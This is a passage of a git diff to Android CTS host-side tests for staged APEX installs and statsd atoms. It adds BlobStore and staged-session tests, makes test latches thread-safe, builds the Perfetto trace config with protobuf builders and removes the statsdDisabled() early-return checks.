+    private void wakeupDeviceAndPressHome() throws Exception {
+        mDevice.wakeUp();
+        mDevice.pressMenu();
+        mDevice.pressHome();
     }
 
     @Override
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index a7922db..93064e6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -331,6 +331,15 @@
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1, TestApp.B1)
+                .assertSuccessful().getSessionId();
+        abandonSession(sessionId);
+        stageSingleApk(TestApp.Apex2).assertSuccessful();
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 0a2e16b..427dbcce 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -138,6 +138,12 @@
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+        runPhase("testStageAnotherSessionImmediatelyAfterAbandonMultiPackage");
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
         runPhase("testNoSessionUpdatedBroadcastSentForStagedSessionAbandon");
@@ -526,6 +532,7 @@
     @Test
     @LargeTest
     public void testFailureReasonPersists_SingleSession() throws Exception {
+        assumeTrue(isCheckpointSupported());
         runPhase("testFailureReasonPersists_SingleSession_Commit");
         getDevice().reboot();
         runPhase("testFailureReasonPersists_SingleSession_VerifyPostReboot");
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
index 59399ac..283d650 100644
--- a/hostsidetests/statsd/Android.bp
+++ b/hostsidetests/statsd/Android.bp
@@ -29,12 +29,13 @@
         "compatibility-host-util",
         "cts-tradefed",
         "host-libprotobuf-java-full",
+        "perfetto_config-full",
         "platformprotos",
         "tradefed",
-        "truth-prebuilt"
+        "truth-prebuilt",
     ],
     static_libs: [
-        "core_cts_test_resources"
+        "core_cts_test_resources",
     ],
     data: [
         "**/*.pbtxt",
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
index eabea94..a76c07e 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -45,6 +45,7 @@
         "androidx.legacy_legacy-support-v4",
         "androidx.test.rules",
         "cts-net-utils",
+        "BlobStoreTestUtils"
     ],
     jni_libs: ["liblmkhelper"],
     compile_multilib: "both",
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 72bea3d..144e28e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -27,6 +27,7 @@
 import android.app.AlarmManager;
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
+import android.app.blob.BlobStoreManager;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
 import android.bluetooth.BluetoothAdapter;
@@ -61,6 +62,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
+import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
 import android.os.Process;
 import android.os.SystemClock;
@@ -75,6 +77,11 @@
 import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.utils.blob.DummyBlobData;
+
+import com.google.common.io.BaseEncoding;
+
 import org.junit.Test;
 
 import java.net.HttpURLConnection;
@@ -82,6 +89,7 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
@@ -192,6 +200,7 @@
         // Op 96 was deprecated/removed
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
     }
 
     @Test
@@ -677,7 +686,7 @@
         long startTime = System.currentTimeMillis();
         CountDownLatch latch = StatsdJobService.resetCountDownLatch();
         js.schedule(job);
-        waitForReceiver(context, 2_500, latch, null);
+        waitForReceiver(context, 5_000, latch, null);
     }
 
     @Test
@@ -938,6 +947,42 @@
         context.stopService(intent);
     }
 
+
+    // Constants for testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+    @Test
+    public void testBlobStore() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
+
+        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
+        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+        final DummyBlobData blobData = new DummyBlobData.Builder(context).setExpiryDurationMs(
+                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
+
+        blobData.prepare();
+        try {
+            // Commit the Blob, should result in BLOB_COMMITTED atom event
+            commitBlob(context, bsm, blobData);
+
+            // Lease the Blob, should result in BLOB_LEASED atom event
+            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+            // Open the Blob, should result in BLOB_OPENED atom event
+            bsm.openBlob(blobData.getBlobHandle());
+
+        } finally {
+            blobData.delete();
+        }
+    }
+
     // ------- Helper methods
 
     /** Puts the current thread to sleep. */
@@ -994,4 +1039,19 @@
     private static void setScreenBrightness(int brightness) {
         runShellCommand("settings put system screen_brightness " + brightness);
     }
+
+
+    private void commitBlob(Context context, BlobStoreManager bsm, DummyBlobData blobData)
+            throws Exception {;
+        final long sessionId = bsm.createSession(blobData.getBlobHandle());
+        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
+            blobData.writeToSession(session);
+            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+            final CompletableFuture<Integer> callback = new CompletableFuture<>();
+            session.commit(context.getMainExecutor(), callback::complete);
+            assertWithMessage("Session failed to commit within timeout").that(
+                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+        }
+    }
 }
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
index 329bdfa..d81040f 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
@@ -28,6 +28,8 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+import javax.annotation.concurrent.GuardedBy;
+
 /**
  * Handles callback from the framework {@link android.app.job.JobScheduler}.
  * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
@@ -38,6 +40,10 @@
 
   JobInfo mRunningJobInfo;
   JobParameters mRunningParams;
+
+  private static final Object sLock = new Object();
+
+  @GuardedBy("sLock")
   private static CountDownLatch sLatch;
 
   final Handler mHandler = new Handler();
@@ -47,24 +53,27 @@
         Thread.sleep(500);
       } catch (InterruptedException e) {
       }
+
       jobFinished(mRunningParams, false);
-      if (sLatch != null) {
-        sLatch.countDown();
+
+      synchronized (sLock) {
+        if (sLatch != null) {
+          sLatch.countDown();
+        }
       }
     }
   };
 
   public static synchronized CountDownLatch resetCountDownLatch() {
-    sLatch = new CountDownLatch(1);
+    synchronized (sLock) {
+      if (sLatch == null || sLatch.getCount() == 0) {
+        sLatch = new CountDownLatch(1);
+      }
+    }
     return sLatch;
   }
 
   @Override
-  public void onCreate() {
-    super.onCreate();
-  }
-
-  @Override
   public boolean onStartJob(JobParameters params) {
     mRunningParams = params;
     mHandler.post(mWorker);
@@ -75,4 +84,4 @@
   public boolean onStopJob(JobParameters params) {
     return false;
   }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
index 12f110b..6968307 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
@@ -58,7 +58,6 @@
         }
         synchronized (sLock) {
             Log.i(TAG, "onPerformSync");
-            sLock.notifyAll();
             if (sLatch != null) {
                 sLatch.countDown();
             } else {
@@ -79,8 +78,12 @@
         ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
     }
 
-    public static synchronized CountDownLatch resetCountDownLatch() {
-        sLatch = new CountDownLatch(1);
+    public static CountDownLatch resetCountDownLatch() {
+        synchronized (sLock) {
+            if (sLatch == null || sLatch.getCount() == 0) {
+                sLatch = new CountDownLatch(1);
+            }
+        }
         return sLatch;
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
index d40c590..032297e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
@@ -51,9 +51,6 @@
     }
 
     public void testAlarm() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig();
         turnScreenOn();
         uploadConfig(config);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index d88f941..d6c1107 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -92,9 +92,6 @@
     // Tests that anomaly detection for count works.
     // Also tests that anomaly detection works when spanning multiple buckets.
     public void testCountAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
                 .addCountMetric(CountMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -141,9 +138,6 @@
     // Tests that anomaly detection for duration works.
     // Also tests that refractory periods in anomaly detection work.
     public void testDurationAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
         StatsdConfig.Builder config =
                 getBaseConfig(17, 17, 10_000_000_000L  /*threshold: > 10 seconds in nanoseconds*/)
@@ -205,9 +199,6 @@
 
     // Tests that anomaly detection for duration works even when the alarm fires too late.
     public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
         StatsdConfig.Builder config =
                 getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
@@ -253,9 +244,6 @@
 
     // Tests that anomaly detection for value works.
     public void testValueAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
                 .addValueMetric(ValueMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -288,9 +276,6 @@
 
     // Test that anomaly detection integrates with perfetto properly.
     public void testPerfetto() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String chars = getDevice().getProperty("ro.build.characteristics");
         if (chars.contains("watch")) {
                 return;
@@ -349,9 +334,6 @@
 
     // Tests that anomaly detection for gauge works.
     public void testGaugeAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
                 .addGaugeMetric(GaugeMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -386,10 +368,6 @@
 
     // Test that anomaly detection for pulled metrics work.
     public void testPulledAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER;  // A pulled atom
         final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
         final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER;  // Something that will be > 0.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index ef216cc..01cb9e6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -62,6 +62,10 @@
 import com.google.common.io.Files;
 import com.google.protobuf.ByteString;
 
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
 import java.io.File;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
@@ -73,6 +77,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Queue;
+import java.util.Random;
 import java.util.Set;
 import java.util.function.Function;
 import java.util.regex.Matcher;
@@ -135,10 +140,6 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Uninstall to clear the history in case it's still on the device.
         removeConfig(CONFIG_ID);
         getReportList(); // Clears data.
@@ -181,15 +182,41 @@
     /**
      * Returns a protobuf-encoded perfetto config that enables the kernel
      * ftrace tracer with sched_switch for 10 seconds.
-     * See https://android.googlesource.com/platform/external/perfetto/+/master/docs/trace-config.md
-     * for details on how to generate this.
      */
     protected ByteString getPerfettoConfig() {
-        return ByteString.copyFrom(new byte[] { 0xa, 0x3, 0x8, (byte) 0x80, 0x1, 0x12, 0x23, 0xa,
-                        0x21, 0xa, 0xc, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x2e, 0x66, 0x74, 0x72, 0x61,
-                        0x63, 0x65, 0x10, 0x0, (byte) 0xa2, 0x6, 0xe, 0xa, 0xc, 0x73, 0x63, 0x68,
-                        0x65, 0x64, 0x5f, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x18, (byte) 0x90,
-                        0x4e, (byte) 0x98, 0x01, 0x01 });
+        TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
+            .newBuilder()
+            .setSizeKb(128)
+            .build();
+        builder.addBuffers(buffer);
+
+        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
+            .addFtraceEvents("sched/sched_switch")
+            .build();
+        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
+            .setName("linux.ftrace")
+            .setTargetBuffer(0)
+            .setFtraceConfig(ftraceConfig)
+            .build();
+        TraceConfig.DataSource dataSource = TraceConfig.DataSource
+            .newBuilder()
+            .setConfig(dataSourceConfig)
+            .build();
+        builder.addDataSources(dataSource);
+
+        builder.setDurationMs(10000);
+        builder.setAllowUserBuildTracing(true);
+
+        // To avoid being hit with guardrails firing in multiple test runs back
+        // to back, we set a unique session key for each config.
+        Random random = new Random();
+        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
+        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+        builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+        return builder.build().toByteString();
     }
 
     /**
@@ -205,22 +232,24 @@
 
     private String probe(String path) throws Exception {
         return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
-                + " cat " + path + " ; else echo 0 ; fi");
+                + " cat " + path + " ; else echo -1 ; fi");
     }
 
     /**
      * Determines whether perfetto enabled the kernel ftrace tracer.
      */
     protected boolean isSystemTracingEnabled() throws Exception {
-        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
         final String traceFsPath = "/sys/kernel/tracing/tracing_on";
-        String tracing_on = probe(debugFsPath);
+        String tracing_on = probe(traceFsPath);
         if (tracing_on.startsWith("0")) return false;
         if (tracing_on.startsWith("1")) return true;
-        // fallback to traceFs
-        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to traceFs", debugFsPath,
+
+        // fallback to debugfs
+        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
                 tracing_on);
-        tracing_on = probe(traceFsPath);
+
+        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
+        tracing_on = probe(debugFsPath);
         if (tracing_on.startsWith("0")) return false;
         if (tracing_on.startsWith("1")) return true;
         throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
@@ -239,7 +268,8 @@
           .addAllowedLogSource("AID_STATSD")
           .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
           .addDefaultPullPackages("AID_RADIO")
-          .addDefaultPullPackages("AID_SYSTEM");
+          .addDefaultPullPackages("AID_SYSTEM")
+          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
     }
 
     protected void createAndUploadConfig(int atomTag) throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index a074c959..0c9921e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -180,14 +180,4 @@
 
         return result;
     }
-
-    protected boolean statsdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, statsd is running by default.
-        if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
-                && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
-            CLog.d("Statsd is not enabled on the device");
-            return true;
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 7c83515..d7f8df1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -82,9 +82,6 @@
     }
 
     public void testScreenStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Setup, make sure the screen is off and turn off AoD if it is on.
         // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
         // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
@@ -131,9 +128,6 @@
     }
 
     public void testChargingStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set charging state to full.
         setChargingState(5);
@@ -184,9 +178,6 @@
     }
 
     public void testPluggedStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, unplug device.
         unplugDevice();
@@ -237,9 +228,6 @@
     }
 
     public void testBatteryLevelChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set battery level to full.
         setBatteryLevel(100);
@@ -285,9 +273,6 @@
     }
 
     public void testDeviceIdleModeStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Setup, leave doze mode.
         leaveDozeMode();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -324,9 +309,6 @@
     }
 
     public void testBatterySaverModeStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
@@ -361,9 +343,6 @@
 
     @RestrictedBuildTest
     public void testRemainingBatteryCapacity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
@@ -388,9 +367,6 @@
 
     @RestrictedBuildTest
     public void testFullBatteryCapacity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
@@ -413,9 +389,6 @@
     }
 
     public void testBatteryVoltage() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
@@ -438,9 +411,6 @@
 
     // This test is for the pulled battery level atom.
     public void testBatteryLevel() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
@@ -463,9 +433,6 @@
 
     // This test is for the pulled battery charge count atom.
     public void testBatteryCycleCount() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER, null);
@@ -487,7 +454,7 @@
     }
 
     public void testKernelWakelock() throws Exception {
-        if (statsdDisabled() || !kernelWakelockStatsExist()) {
+        if (!kernelWakelockStatsExist()) {
             return;
         }
         StatsdConfig.Builder config = createConfigBuilder();
@@ -519,9 +486,6 @@
     }
 
     public void testWifiActivityInfo() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
@@ -548,10 +512,6 @@
     }
 
     public void testBuildInformation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
         uploadConfig(config);
@@ -576,9 +536,6 @@
 
     public void testOnDevicePowerMeasurement() throws Exception {
         if (!OPTIONAL_TESTS_ENABLED) return;
-        if (statsdDisabled()) {
-            return;
-        }
 
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER, null);
@@ -600,9 +557,6 @@
 
     // Explicitly tests if the adb command to log a breadcrumb is working.
     public void testBreadcrumbAdb() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -618,9 +572,6 @@
 
     // Test dumpsys stats --proto.
     public void testDumpsysStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -653,9 +604,6 @@
     }
 
     public void testConnectivityStateChange() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
@@ -692,9 +640,6 @@
     }
 
     public void testSimSlotState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_TELEPHONY, true)) {
             return;
         }
@@ -725,9 +670,6 @@
     }
 
     public void testSupportedRadioAccessFamily() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_TELEPHONY, true)) {
             return;
         }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 73d43f8..230a516 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -96,9 +96,6 @@
     }
 
     public void testForegroundService() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
         Set<Integer> offStates = complement(onStates);
@@ -117,9 +114,6 @@
     }
 
     public void testForeground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
         // There are no offStates, since the app remains in foreground until killed.
@@ -139,9 +133,6 @@
     }
 
     public void testBackground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = BG_STATES;
         Set<Integer> offStates = complement(onStates);
 
@@ -159,9 +150,6 @@
     }
 
     public void testTop() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
         Set<Integer> offStates = complement(onStates);
@@ -181,9 +169,6 @@
     }
 
     public void testTopSleeping() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
@@ -212,9 +197,6 @@
     }
 
     public void testCached() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = CACHED_STATES;
         Set<Integer> offStates = complement(onStates);
 
@@ -247,9 +229,6 @@
     }
 
     public void testValidityOfStates() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
             .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
     }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a54f44e..74146b9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -16,6 +16,7 @@
 package android.cts.statsd.atom;
 
 import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -24,6 +25,7 @@
 import android.os.WakeLockLevelEnum;
 import android.server.ErrorSource;
 import android.telephony.NetworkTypeEnum;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
@@ -41,6 +43,9 @@
 import com.android.os.AtomsProto.BinderCalls;
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
+import com.android.os.AtomsProto.BlobCommitted;
+import com.android.os.AtomsProto.BlobLeased;
+import com.android.os.AtomsProto.BlobOpened;
 import com.android.os.AtomsProto.CameraStateChanged;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DangerousPermissionStateSampled;
@@ -77,8 +82,10 @@
 import com.android.os.StatsLog.EventMetricData;
